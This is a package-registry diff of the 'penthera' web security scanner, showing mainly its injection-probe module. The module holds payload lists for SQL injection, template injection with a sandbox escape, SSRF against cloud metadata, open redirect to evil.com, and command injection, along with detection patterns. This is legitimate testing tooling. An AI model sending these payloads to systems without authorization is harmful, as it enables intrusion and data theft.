penthera 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +168 -0
- package/LICENSE +21 -0
- package/README.md +561 -0
- package/SECURITY.md +31 -0
- package/bin/penthera.js +3 -0
- package/bin/scan.js +11 -0
- package/docs/index.md +60 -0
- package/docs/owasp-wstg-coverage.md +79 -0
- package/lib/adaptive-probes.js +334 -0
- package/lib/attack-surface.js +149 -0
- package/lib/audit-loop.js +170 -0
- package/lib/blackbox/adaptive-scan.js +137 -0
- package/lib/blackbox/client-auth.js +60 -0
- package/lib/blackbox/email-dns.js +135 -0
- package/lib/blackbox/headers.js +91 -0
- package/lib/blackbox/idor.js +113 -0
- package/lib/blackbox/jwt.js +73 -0
- package/lib/blackbox/oauth.js +50 -0
- package/lib/blackbox/openapi.js +227 -0
- package/lib/compliance/incident.js +169 -0
- package/lib/compliance/index.js +163 -0
- package/lib/compliance/policy-pack.js +293 -0
- package/lib/compliance/questionnaire.js +113 -0
- package/lib/compliance/readiness.js +229 -0
- package/lib/compliance/self-assessment.js +66 -0
- package/lib/crawler.js +257 -0
- package/lib/fuzzer.js +233 -0
- package/lib/injections.js +676 -0
- package/lib/jurisdictions/nl.json +48 -0
- package/lib/knowledge-graph.js +232 -0
- package/lib/machine.js +814 -0
- package/lib/nuclei-loader.js +283 -0
- package/lib/owasp-wstg.js +204 -0
- package/lib/params.js +235 -0
- package/lib/plugins.js +70 -0
- package/lib/provenance.js +82 -0
- package/lib/recon.js +193 -0
- package/lib/remediation/index.js +219 -0
- package/lib/retirejs.js +239 -0
- package/lib/supply-chain.js +131 -0
- package/lib/templates.js +364 -0
- package/lib/tls.js +145 -0
- package/lib/whitebox/frameworks.js +139 -0
- package/lib/whitebox/sbom.js +144 -0
- package/lib/whitebox/secrets.js +111 -0
- package/package.json +76 -0
- package/pentest.config.example.js +82 -0
- package/scripts/package-skill.sh +16 -0
- package/skills/penthera/SKILL.md +272 -0
- package/skills/penthera/references/authorization.md +36 -0
- package/skills/penthera/references/output-and-ci.md +109 -0
- package/skills/penthera/references/profiles-and-flags.md +74 -0
- package/skills/penthera/references/remediation.md +267 -0
- package/skills/penthera/references/reporting.md +113 -0
- package/skills/penthera/references/secure-defaults.md +41 -0
- package/skills/penthera/references/troubleshooting.md +100 -0
- package/skills/penthera/scripts/preflight.sh +66 -0
- package/skills/penthera/scripts/validate-report.mjs +53 -0
- package/skills/penthera/scripts/validate-report.sh +8 -0
- package/src/cli/ansi.js +70 -0
- package/src/cli/baseline.js +37 -0
- package/src/cli/merge-results.js +71 -0
- package/src/cli/onboarding.js +216 -0
- package/src/cli/profiles.js +53 -0
- package/src/cli/prompt.js +64 -0
- package/src/cli/run-scan.js +152 -0
- package/src/cli.js +536 -0
- package/src/report/markdown.js +182 -0
- package/src/reporter.js +512 -0
- package/src/scan-repo.js +205 -0
- package/src/scan-url.js +563 -0
- package/src/utils/auth.js +13 -0
- package/src/utils/http.js +38 -0
- package/src/utils/url.js +54 -0
|
@@ -0,0 +1,676 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Active Injection Scanner
|
|
3
|
+
*
|
|
4
|
+
* Probes for common injection vulnerabilities:
|
|
5
|
+
* - SQL injection (error-based + time-based blind)
|
|
6
|
+
* - Server-Side Template Injection (SSTI)
|
|
7
|
+
* - Server-Side Request Forgery (SSRF)
|
|
8
|
+
* - Open redirect
|
|
9
|
+
* - Command injection
|
|
10
|
+
*
|
|
11
|
+
* Techniques borrowed from:
|
|
12
|
+
* - Dalfox, context-aware XSS (analyze reflection, then target)
|
|
13
|
+
* - Wapiti, error pattern matching for SQLi
|
|
14
|
+
* - Nuclei, pattern-based detection
|
|
15
|
+
* - Burp Suite, time-based blind SQLi
|
|
16
|
+
*
|
|
17
|
+
* WARNING: These probes send attack payloads to the target.
|
|
18
|
+
* Only use against targets you have permission to test.
|
|
19
|
+
*/
|
|
20
|
+
|
|
21
|
+
import { redirectsToHost } from "../src/utils/url.js";
|
|
22
|
+
|
|
23
|
+
const INJECT_TIMEOUT = 10_000;
|
|
24
|
+
|
|
25
|
+
async function safeFetch(url, opts = {}) {
|
|
26
|
+
const controller = new AbortController();
|
|
27
|
+
const timeout = setTimeout(() => controller.abort(), opts.timeout || INJECT_TIMEOUT);
|
|
28
|
+
const start = Date.now();
|
|
29
|
+
try {
|
|
30
|
+
const res = await fetch(url, { ...opts, signal: controller.signal, redirect: "manual" });
|
|
31
|
+
const elapsed = Date.now() - start;
|
|
32
|
+
const body = await res.text().catch(() => "");
|
|
33
|
+
return { status: res.status, body, headers: Object.fromEntries(res.headers.entries()), elapsed, ok: true };
|
|
34
|
+
} catch {
|
|
35
|
+
return { status: 0, body: "", headers: {}, elapsed: Date.now() - start, ok: false };
|
|
36
|
+
} finally {
|
|
37
|
+
clearTimeout(timeout);
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// ── SQL Injection Detection ──────────────────────────────────────────────
|
|
42
|
+
|
|
43
|
+
const SQLI_ERROR_PATTERNS = [
|
|
44
|
+
{ re: /SQL syntax.*?MySQL/i, db: "MySQL" },
|
|
45
|
+
{ re: /Warning.*?\Wmysqli?_/i, db: "MySQL" },
|
|
46
|
+
{ re: /valid MySQL result/i, db: "MySQL" },
|
|
47
|
+
{ re: /PostgreSQL.*?ERROR/i, db: "PostgreSQL" },
|
|
48
|
+
{ re: /Warning.*?\Wpg_/i, db: "PostgreSQL" },
|
|
49
|
+
{ re: /unterminated quoted string/i, db: "PostgreSQL" },
|
|
50
|
+
{ re: /ORA-\d{5}/i, db: "Oracle" },
|
|
51
|
+
{ re: /Microsoft.*?ODBC.*?Driver/i, db: "MSSQL" },
|
|
52
|
+
{ re: /Unclosed quotation mark/i, db: "MSSQL" },
|
|
53
|
+
{ re: /Microsoft.*?SQL.*?Server/i, db: "MSSQL" },
|
|
54
|
+
{ re: /\bSQLite.*?(?:error|warning)\b/i, db: "SQLite" },
|
|
55
|
+
{ re: /SQLSTATE\[/i, db: "PDO" },
|
|
56
|
+
{ re: /DB2 SQL error/i, db: "DB2" },
|
|
57
|
+
{ re: /Sybase message/i, db: "Sybase" },
|
|
58
|
+
{ re: /Syntax error.*?in query expression/i, db: "MSAccess" },
|
|
59
|
+
{ re: /Data type mismatch/i, db: "Generic" },
|
|
60
|
+
{ re: /Division by zero/i, db: "Generic" },
|
|
61
|
+
];
|
|
62
|
+
|
|
63
|
+
const SQLI_PAYLOADS = [
|
|
64
|
+
"'",
|
|
65
|
+
"' OR '1'='1",
|
|
66
|
+
"' OR '1'='1' --",
|
|
67
|
+
"\" OR \"1\"=\"1",
|
|
68
|
+
"1' AND '1'='2",
|
|
69
|
+
"1 UNION SELECT NULL--",
|
|
70
|
+
"'; WAITFOR DELAY '0:0:5'--", // MSSQL time-based
|
|
71
|
+
"' AND SLEEP(5)--", // MySQL time-based
|
|
72
|
+
"'; SELECT pg_sleep(5)--", // PostgreSQL time-based
|
|
73
|
+
];
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Test an endpoint for SQL injection.
|
|
77
|
+
*
|
|
78
|
+
* @param {string} baseUrl
|
|
79
|
+
* @param {string} path - Endpoint path
|
|
80
|
+
* @param {object} opts - { method, paramName }
|
|
81
|
+
* @returns {object[]} Findings
|
|
82
|
+
*/
|
|
83
|
+
export async function probeSqli(baseUrl, path, opts = {}) {
|
|
84
|
+
const findings = [];
|
|
85
|
+
const method = opts.method || "GET";
|
|
86
|
+
|
|
87
|
+
// Get baseline response
|
|
88
|
+
const baseline = await safeFetch(`${baseUrl}${path}`, { method });
|
|
89
|
+
if (!baseline.ok) return findings;
|
|
90
|
+
|
|
91
|
+
for (const payload of SQLI_PAYLOADS.slice(0, 5)) {
|
|
92
|
+
let res;
|
|
93
|
+
if (method === "GET") {
|
|
94
|
+
// Inject into query parameter
|
|
95
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
96
|
+
res = await safeFetch(`${baseUrl}${path}${sep}id=${encodeURIComponent(payload)}`, { method });
|
|
97
|
+
} else {
|
|
98
|
+
res = await safeFetch(`${baseUrl}${path}`, {
|
|
99
|
+
method,
|
|
100
|
+
headers: { "Content-Type": "application/json" },
|
|
101
|
+
body: JSON.stringify({ id: payload, query: payload }),
|
|
102
|
+
});
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
if (!res.ok) continue;
|
|
106
|
+
|
|
107
|
+
// Check for error-based SQLi
|
|
108
|
+
for (const { re, db } of SQLI_ERROR_PATTERNS) {
|
|
109
|
+
if (re.test(res.body) && !re.test(baseline.body)) {
|
|
110
|
+
findings.push({
|
|
111
|
+
severity: "critical",
|
|
112
|
+
title: `SQL injection (error-based, ${db})`,
|
|
113
|
+
description: `Payload: ${payload} triggered ${db} error`,
|
|
114
|
+
url: `${baseUrl}${path}`,
|
|
115
|
+
status: res.status,
|
|
116
|
+
category: "sqli",
|
|
117
|
+
source: "injection-probe",
|
|
118
|
+
});
|
|
119
|
+
return findings; // One confirmed SQLi is enough
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// Time-based blind SQLi (test with sleep payloads)
|
|
125
|
+
const timingPayloads = [
|
|
126
|
+
{ payload: "' AND SLEEP(3)--", db: "MySQL" },
|
|
127
|
+
{ payload: "'; SELECT pg_sleep(3)--", db: "PostgreSQL" },
|
|
128
|
+
];
|
|
129
|
+
|
|
130
|
+
for (const { payload, db } of timingPayloads) {
|
|
131
|
+
let res;
|
|
132
|
+
if (method === "GET") {
|
|
133
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
134
|
+
res = await safeFetch(`${baseUrl}${path}${sep}id=${encodeURIComponent(payload)}`, {
|
|
135
|
+
method,
|
|
136
|
+
timeout: 8_000,
|
|
137
|
+
});
|
|
138
|
+
} else {
|
|
139
|
+
res = await safeFetch(`${baseUrl}${path}`, {
|
|
140
|
+
method,
|
|
141
|
+
headers: { "Content-Type": "application/json" },
|
|
142
|
+
body: JSON.stringify({ id: payload }),
|
|
143
|
+
timeout: 8_000,
|
|
144
|
+
});
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// If response took significantly longer than baseline, possible blind SQLi
|
|
148
|
+
if (res.elapsed > baseline.elapsed + 2500 && res.elapsed > 3000) {
|
|
149
|
+
findings.push({
|
|
150
|
+
severity: "high",
|
|
151
|
+
title: `Possible blind SQL injection (time-based, ${db})`,
|
|
152
|
+
description: `Payload: ${payload}, response took ${res.elapsed}ms vs baseline ${baseline.elapsed}ms`,
|
|
153
|
+
url: `${baseUrl}${path}`,
|
|
154
|
+
status: res.status,
|
|
155
|
+
category: "sqli",
|
|
156
|
+
source: "injection-probe",
|
|
157
|
+
});
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
return findings;
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
// ── Server-Side Template Injection (SSTI) ────────────────────────────────
|
|
165
|
+
|
|
166
|
+
/**
|
|
167
|
+
* Build SSTI probes with a randomized arithmetic canary.
|
|
168
|
+
*
|
|
169
|
+
* A fixed "7*7 = 49" canary produces false positives: "49" occurs naturally in
|
|
170
|
+
* prices, IDs, counts, and timestamps, so any page containing it looked like a
|
|
171
|
+
* confirmed critical. Instead we multiply two random 4-digit numbers, giving a
|
|
172
|
+
* 7-8 digit product that is highly unlikely to appear by chance, and only flag
|
|
173
|
+
* when the product shows up while the raw payload and the literal expression do
|
|
174
|
+
* not, i.e. the template engine actually evaluated the arithmetic.
|
|
175
|
+
*/
|
|
176
|
+
export function buildSstiProbes() {
|
|
177
|
+
const a = 1000 + Math.floor(Math.random() * 9000);
|
|
178
|
+
const b = 1000 + Math.floor(Math.random() * 9000);
|
|
179
|
+
const expr = `${a}*${b}`;
|
|
180
|
+
const product = String(a * b);
|
|
181
|
+
const probes = [
|
|
182
|
+
{ payload: `{{${expr}}}`, engine: "Jinja2/Twig/Handlebars" },
|
|
183
|
+
{ payload: `\${${expr}}`, engine: "Freemarker/Velocity/EL" },
|
|
184
|
+
{ payload: `#{${expr}}`, engine: "Thymeleaf/Ruby ERB" },
|
|
185
|
+
{ payload: `<%= ${expr} %>`, engine: "ERB/EJS" },
|
|
186
|
+
{ payload: `\${{${expr}}}`, engine: "AngularJS/Vue" },
|
|
187
|
+
{ payload: `{{constructor.constructor('return ${expr}')()}}`, engine: "Handlebars sandbox escape" },
|
|
188
|
+
];
|
|
189
|
+
return { probes, expr, product };
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
/** True only when the response shows the canary product but not the raw payload/expression. */
|
|
193
|
+
export function sstiEvaluated(body, payload, expr, product) {
|
|
194
|
+
return typeof body === "string"
|
|
195
|
+
&& body.includes(product)
|
|
196
|
+
&& !body.includes(payload)
|
|
197
|
+
&& !body.includes(expr);
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
/**
|
|
201
|
+
* Test an endpoint for SSTI.
|
|
202
|
+
*/
|
|
203
|
+
export async function probeSsti(baseUrl, path, opts = {}) {
|
|
204
|
+
const findings = [];
|
|
205
|
+
const { probes, expr, product } = buildSstiProbes();
|
|
206
|
+
|
|
207
|
+
for (const { payload, engine } of probes) {
|
|
208
|
+
// Try injecting via query param
|
|
209
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
210
|
+
const res = await safeFetch(
|
|
211
|
+
`${baseUrl}${path}${sep}name=${encodeURIComponent(payload)}`,
|
|
212
|
+
);
|
|
213
|
+
|
|
214
|
+
if (res.ok && sstiEvaluated(res.body, payload, expr, product)) {
|
|
215
|
+
findings.push({
|
|
216
|
+
severity: "critical",
|
|
217
|
+
title: `Server-Side Template Injection (${engine})`,
|
|
218
|
+
description: `Payload "${payload}" evaluated to "${product}" in response`,
|
|
219
|
+
url: `${baseUrl}${path}`,
|
|
220
|
+
status: res.status,
|
|
221
|
+
category: "ssti",
|
|
222
|
+
source: "injection-probe",
|
|
223
|
+
});
|
|
224
|
+
return findings; // Confirmed SSTI
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
// Also try POST body
|
|
228
|
+
const postRes = await safeFetch(`${baseUrl}${path}`, {
|
|
229
|
+
method: "POST",
|
|
230
|
+
headers: { "Content-Type": "application/json" },
|
|
231
|
+
body: JSON.stringify({ name: payload, input: payload, query: payload }),
|
|
232
|
+
});
|
|
233
|
+
|
|
234
|
+
if (postRes.ok && sstiEvaluated(postRes.body, payload, expr, product)) {
|
|
235
|
+
findings.push({
|
|
236
|
+
severity: "critical",
|
|
237
|
+
title: `Server-Side Template Injection (${engine})`,
|
|
238
|
+
description: `POST payload "${payload}" evaluated to "${product}"`,
|
|
239
|
+
url: `${baseUrl}${path}`,
|
|
240
|
+
status: postRes.status,
|
|
241
|
+
category: "ssti",
|
|
242
|
+
source: "injection-probe",
|
|
243
|
+
});
|
|
244
|
+
return findings;
|
|
245
|
+
}
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
return findings;
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
// ── Server-Side Request Forgery (SSRF) ───────────────────────────────────
|
|
252
|
+
|
|
253
|
+
const SSRF_TARGETS = [
|
|
254
|
+
{ url: "http://169.254.169.254/latest/meta-data/", name: "AWS metadata" },
|
|
255
|
+
{ url: "http://metadata.google.internal/computeMetadata/v1/", name: "GCP metadata" },
|
|
256
|
+
{ url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", name: "Azure metadata" },
|
|
257
|
+
{ url: "http://127.0.0.1:80/", name: "localhost" },
|
|
258
|
+
{ url: "http://[::1]:80/", name: "IPv6 localhost" },
|
|
259
|
+
{ url: "http://0.0.0.0:80/", name: "0.0.0.0" },
|
|
260
|
+
{ url: "http://localhost:22/", name: "localhost SSH" },
|
|
261
|
+
];
|
|
262
|
+
|
|
263
|
+
/**
|
|
264
|
+
* Test an endpoint for SSRF via URL parameters.
|
|
265
|
+
*/
|
|
266
|
+
export async function probeSsrf(baseUrl, path, opts = {}) {
|
|
267
|
+
const findings = [];
|
|
268
|
+
|
|
269
|
+
// Identify URL-like parameters in the path or common parameter names
|
|
270
|
+
const urlParams = ["url", "link", "href", "src", "redirect", "callback", "return", "next", "target", "dest", "fetch", "proxy"];
|
|
271
|
+
|
|
272
|
+
for (const param of urlParams.slice(0, 5)) {
|
|
273
|
+
for (const { url: ssrfTarget, name } of SSRF_TARGETS.slice(0, 3)) {
|
|
274
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
275
|
+
const res = await safeFetch(
|
|
276
|
+
`${baseUrl}${path}${sep}${param}=${encodeURIComponent(ssrfTarget)}`,
|
|
277
|
+
);
|
|
278
|
+
|
|
279
|
+
if (!res.ok) continue;
|
|
280
|
+
|
|
281
|
+
// Check if the response contains metadata indicators
|
|
282
|
+
const metadataIndicators = [
|
|
283
|
+
/ami-id/i, /instance-id/i, /iam/i, // AWS
|
|
284
|
+
/computeMetadata/i, /project-id/i, // GCP
|
|
285
|
+
/subscriptionId/i, /resourceGroupName/i, // Azure
|
|
286
|
+
/root:.*:0:0/, // /etc/passwd
|
|
287
|
+
];
|
|
288
|
+
|
|
289
|
+
for (const pattern of metadataIndicators) {
|
|
290
|
+
if (pattern.test(res.body)) {
|
|
291
|
+
findings.push({
|
|
292
|
+
severity: "critical",
|
|
293
|
+
title: `SSRF, ${name} accessible via ?${param}=`,
|
|
294
|
+
description: `Internal resource accessed through URL parameter`,
|
|
295
|
+
url: `${baseUrl}${path}?${param}=${ssrfTarget}`,
|
|
296
|
+
status: res.status,
|
|
297
|
+
category: "ssrf",
|
|
298
|
+
source: "injection-probe",
|
|
299
|
+
});
|
|
300
|
+
return findings;
|
|
301
|
+
}
|
|
302
|
+
}
|
|
303
|
+
}
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
return findings;
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
// ── Open Redirect ────────────────────────────────────────────────────────
|
|
310
|
+
|
|
311
|
+
const REDIRECT_PAYLOADS = [
|
|
312
|
+
"https://evil.com",
|
|
313
|
+
"//evil.com",
|
|
314
|
+
"/\\evil.com",
|
|
315
|
+
"https://evil.com%2F%2F",
|
|
316
|
+
"////evil.com",
|
|
317
|
+
"https:evil.com",
|
|
318
|
+
];
|
|
319
|
+
|
|
320
|
+
/**
|
|
321
|
+
* Test an endpoint for open redirect.
|
|
322
|
+
*/
|
|
323
|
+
export async function probeOpenRedirect(baseUrl, path, opts = {}) {
|
|
324
|
+
const findings = [];
|
|
325
|
+
const redirectParams = ["redirect", "redirect_uri", "return", "return_to", "next", "url", "callback", "redir", "destination", "go"];
|
|
326
|
+
|
|
327
|
+
for (const param of redirectParams) {
|
|
328
|
+
for (const payload of REDIRECT_PAYLOADS.slice(0, 3)) {
|
|
329
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
330
|
+
const reqUrl = `${baseUrl}${path}${sep}${param}=${encodeURIComponent(payload)}`;
|
|
331
|
+
const res = await safeFetch(reqUrl, { timeout: 5_000 });
|
|
332
|
+
|
|
333
|
+
if (!res.ok) continue;
|
|
334
|
+
|
|
335
|
+
// Only a real open redirect if the Location actually resolves to the
|
|
336
|
+
// attacker host, not if "evil.com" merely rides along in a same-site
|
|
337
|
+
// canonicalization redirect's query string.
|
|
338
|
+
const location = res.headers.location || "";
|
|
339
|
+
if (redirectsToHost(location, reqUrl, "evil.com")) {
|
|
340
|
+
findings.push({
|
|
341
|
+
severity: "medium",
|
|
342
|
+
title: `Open redirect via ?${param}=`,
|
|
343
|
+
description: `Redirects to ${location}`,
|
|
344
|
+
url: `${baseUrl}${path}?${param}=${payload}`,
|
|
345
|
+
status: res.status,
|
|
346
|
+
category: "open-redirect",
|
|
347
|
+
source: "injection-probe",
|
|
348
|
+
});
|
|
349
|
+
return findings;
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
return findings;
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
// ── Command Injection ────────────────────────────────────────────────────
|
|
358
|
+
|
|
359
|
+
const CMDI_PAYLOADS = [
|
|
360
|
+
{ payload: ";sleep 3", timing: true },
|
|
361
|
+
{ payload: "|sleep 3", timing: true },
|
|
362
|
+
{ payload: "$(sleep 3)", timing: true },
|
|
363
|
+
{ payload: "`sleep 3`", timing: true },
|
|
364
|
+
{ payload: ";id", pattern: /uid=\d+/ },
|
|
365
|
+
{ payload: "|id", pattern: /uid=\d+/ },
|
|
366
|
+
];
|
|
367
|
+
|
|
368
|
+
/**
|
|
369
|
+
* Test an endpoint for OS command injection.
|
|
370
|
+
*/
|
|
371
|
+
export async function probeCmdi(baseUrl, path, opts = {}) {
|
|
372
|
+
const findings = [];
|
|
373
|
+
const method = opts.method || "POST";
|
|
374
|
+
|
|
375
|
+
// Get baseline timing
|
|
376
|
+
const baseline = await safeFetch(`${baseUrl}${path}`, {
|
|
377
|
+
method,
|
|
378
|
+
headers: { "Content-Type": "application/json" },
|
|
379
|
+
body: method === "POST" ? JSON.stringify({ input: "safe" }) : undefined,
|
|
380
|
+
});
|
|
381
|
+
|
|
382
|
+
for (const { payload, timing, pattern } of CMDI_PAYLOADS) {
|
|
383
|
+
const res = await safeFetch(`${baseUrl}${path}`, {
|
|
384
|
+
method,
|
|
385
|
+
headers: { "Content-Type": "application/json" },
|
|
386
|
+
body: method === "POST" ? JSON.stringify({ input: payload, cmd: payload, command: payload }) : undefined,
|
|
387
|
+
timeout: timing ? 8_000 : INJECT_TIMEOUT,
|
|
388
|
+
});
|
|
389
|
+
|
|
390
|
+
if (!res.ok) continue;
|
|
391
|
+
|
|
392
|
+
if (pattern && pattern.test(res.body)) {
|
|
393
|
+
findings.push({
|
|
394
|
+
severity: "critical",
|
|
395
|
+
title: "OS command injection",
|
|
396
|
+
description: `Payload "${payload}" returned system output`,
|
|
397
|
+
url: `${baseUrl}${path}`,
|
|
398
|
+
status: res.status,
|
|
399
|
+
category: "cmdi",
|
|
400
|
+
source: "injection-probe",
|
|
401
|
+
});
|
|
402
|
+
return findings;
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
if (timing && res.elapsed > baseline.elapsed + 2500 && res.elapsed > 3000) {
|
|
406
|
+
findings.push({
|
|
407
|
+
severity: "high",
|
|
408
|
+
title: "Possible OS command injection (time-based)",
|
|
409
|
+
description: `Payload "${payload}", ${res.elapsed}ms vs baseline ${baseline.elapsed}ms`,
|
|
410
|
+
url: `${baseUrl}${path}`,
|
|
411
|
+
status: res.status,
|
|
412
|
+
category: "cmdi",
|
|
413
|
+
source: "injection-probe",
|
|
414
|
+
});
|
|
415
|
+
return findings;
|
|
416
|
+
}
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
return findings;
|
|
420
|
+
}
|
|
421
|
+
|
|
422
|
+
// ── Context-Aware XSS (Dalfox-style) ────────────────────────────────────
|
|
423
|
+
|
|
424
|
+
const CANARY = "pnth3r4xss";
|
|
425
|
+
|
|
426
|
+
/**
|
|
427
|
+
* Reflected content is only executable as XSS when the browser renders the
|
|
428
|
+
* response as HTML. A JSON/text API that echoes the payload is not XSS, so we
|
|
429
|
+
* require an explicit HTML content type before confirming a reflection.
|
|
430
|
+
*/
|
|
431
|
+
export function isHtmlResponse(res) {
|
|
432
|
+
const ct = (res.headers?.["content-type"] || "").toLowerCase();
|
|
433
|
+
return ct.includes("text/html") || ct.includes("application/xhtml+xml");
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
/**
|
|
437
|
+
* Test an endpoint for reflected XSS using context-aware payload generation.
|
|
438
|
+
*
|
|
439
|
+
* Algorithm (inspired by Dalfox):
|
|
440
|
+
* 1. Send a unique canary string
|
|
441
|
+
* 2. Find where it's reflected in the HTML response
|
|
442
|
+
* 3. Determine the injection context (tag content, attribute, JS block, etc.)
|
|
443
|
+
* 4. Generate a minimal, targeted payload for that context
|
|
444
|
+
* 5. Verify the payload is reflected unescaped
|
|
445
|
+
*/
|
|
446
|
+
export async function probeXss(baseUrl, path, opts = {}) {
|
|
447
|
+
const findings = [];
|
|
448
|
+
const inputParams = ["q", "search", "query", "name", "input", "text", "value", "msg", "error", "redirect", "url", "id"];
|
|
449
|
+
|
|
450
|
+
for (const param of inputParams) {
|
|
451
|
+
// Step 1: Send canary
|
|
452
|
+
const sep = path.includes("?") ? "&" : "?";
|
|
453
|
+
const canaryUrl = `${baseUrl}${path}${sep}${param}=${CANARY}`;
|
|
454
|
+
const canaryRes = await safeFetch(canaryUrl);
|
|
455
|
+
if (!canaryRes.ok || !canaryRes.body.includes(CANARY) || !isHtmlResponse(canaryRes)) continue;
|
|
456
|
+
|
|
457
|
+
// Step 2: Determine injection context
|
|
458
|
+
const context = analyzeReflectionContext(canaryRes.body, CANARY);
|
|
459
|
+
if (!context) continue;
|
|
460
|
+
|
|
461
|
+
// Step 3: Generate targeted payloads
|
|
462
|
+
const payloads = getPayloadsForContext(context);
|
|
463
|
+
|
|
464
|
+
// Step 4: Test each payload
|
|
465
|
+
for (const { payload, check } of payloads) {
|
|
466
|
+
const attackUrl = `${baseUrl}${path}${sep}${param}=${encodeURIComponent(payload)}`;
|
|
467
|
+
const attackRes = await safeFetch(attackUrl);
|
|
468
|
+
if (!attackRes.ok) continue;
|
|
469
|
+
|
|
470
|
+
// Step 5: Verify unescaped reflection
|
|
471
|
+
if (check(attackRes.body)) {
|
|
472
|
+
findings.push({
|
|
473
|
+
severity: "high",
|
|
474
|
+
title: `Reflected XSS via ?${param}= (${context.type} context)`,
|
|
475
|
+
description: `Payload: ${payload.slice(0, 80)}`,
|
|
476
|
+
url: attackUrl,
|
|
477
|
+
status: attackRes.status,
|
|
478
|
+
category: "xss",
|
|
479
|
+
source: "injection-probe",
|
|
480
|
+
});
|
|
481
|
+
return findings; // One confirmed XSS per endpoint is enough
|
|
482
|
+
}
|
|
483
|
+
}
|
|
484
|
+
}
|
|
485
|
+
|
|
486
|
+
// Also try POST body injection
|
|
487
|
+
const postRes = await safeFetch(`${baseUrl}${path}`, {
|
|
488
|
+
method: "POST",
|
|
489
|
+
headers: { "Content-Type": "application/json" },
|
|
490
|
+
body: JSON.stringify({ name: CANARY, input: CANARY, query: CANARY }),
|
|
491
|
+
});
|
|
492
|
+
|
|
493
|
+
if (postRes.ok && postRes.body.includes(CANARY) && isHtmlResponse(postRes)) {
|
|
494
|
+
const context = analyzeReflectionContext(postRes.body, CANARY);
|
|
495
|
+
if (context) {
|
|
496
|
+
const payloads = getPayloadsForContext(context);
|
|
497
|
+
for (const { payload, check } of payloads) {
|
|
498
|
+
const attackRes = await safeFetch(`${baseUrl}${path}`, {
|
|
499
|
+
method: "POST",
|
|
500
|
+
headers: { "Content-Type": "application/json" },
|
|
501
|
+
body: JSON.stringify({ name: payload, input: payload, query: payload }),
|
|
502
|
+
});
|
|
503
|
+
if (attackRes.ok && check(attackRes.body)) {
|
|
504
|
+
findings.push({
|
|
505
|
+
severity: "high",
|
|
506
|
+
title: `Reflected XSS via POST body (${context.type} context)`,
|
|
507
|
+
description: `Payload: ${payload.slice(0, 80)}`,
|
|
508
|
+
url: `${baseUrl}${path}`,
|
|
509
|
+
status: attackRes.status,
|
|
510
|
+
category: "xss",
|
|
511
|
+
source: "injection-probe",
|
|
512
|
+
});
|
|
513
|
+
return findings;
|
|
514
|
+
}
|
|
515
|
+
}
|
|
516
|
+
}
|
|
517
|
+
}
|
|
518
|
+
|
|
519
|
+
return findings;
|
|
520
|
+
}
|
|
521
|
+
|
|
522
|
+
/**
|
|
523
|
+
* Analyze WHERE the canary appears in the HTML response.
|
|
524
|
+
* Returns the injection context type.
|
|
525
|
+
*/
|
|
526
|
+
function analyzeReflectionContext(html, canary) {
|
|
527
|
+
const idx = html.indexOf(canary);
|
|
528
|
+
if (idx === -1) return null;
|
|
529
|
+
|
|
530
|
+
// Look at surrounding context (200 chars before and after)
|
|
531
|
+
const before = html.slice(Math.max(0, idx - 200), idx);
|
|
532
|
+
const after = html.slice(idx + canary.length, idx + canary.length + 200);
|
|
533
|
+
|
|
534
|
+
// Inside a quoted attribute: <tag attr="...CANARY..."
|
|
535
|
+
if (/=["'][^"']*$/.test(before)) {
|
|
536
|
+
const quote = before.match(/=(['"])[^'"]*$/)?.[1] || '"';
|
|
537
|
+
return { type: "attribute", quote, before, after };
|
|
538
|
+
}
|
|
539
|
+
|
|
540
|
+
// Inside a <script> block: var x = "CANARY"
|
|
541
|
+
if (/<script[\s>][^]*$/i.test(before) && !/<\/script>/i.test(before.slice(-50))) {
|
|
542
|
+
// Inside a JS string?
|
|
543
|
+
const jsQuote = before.match(/['"`][^'"`]*$/)?.[0]?.[0];
|
|
544
|
+
return { type: "javascript", quote: jsQuote || null, before, after };
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
// Inside a <style> block
|
|
548
|
+
if (/<style[\s>][^]*$/i.test(before) && !/<\/style>/i.test(before.slice(-50))) {
|
|
549
|
+
return { type: "style", before, after };
|
|
550
|
+
}
|
|
551
|
+
|
|
552
|
+
// Inside an HTML comment: <!-- CANARY -->
|
|
553
|
+
if (/<!--[^]*$/.test(before) && !/--%>/.test(before.slice(-10))) {
|
|
554
|
+
return { type: "comment", before, after };
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
// Inside a tag but outside attributes: <tag CANARY
|
|
558
|
+
if (/<\w+\s[^>]*$/.test(before)) {
|
|
559
|
+
return { type: "tag-body", before, after };
|
|
560
|
+
}
|
|
561
|
+
|
|
562
|
+
// Between tags (tag content): <div>CANARY</div>
|
|
563
|
+
return { type: "html-content", before, after };
|
|
564
|
+
}
|
|
565
|
+
|
|
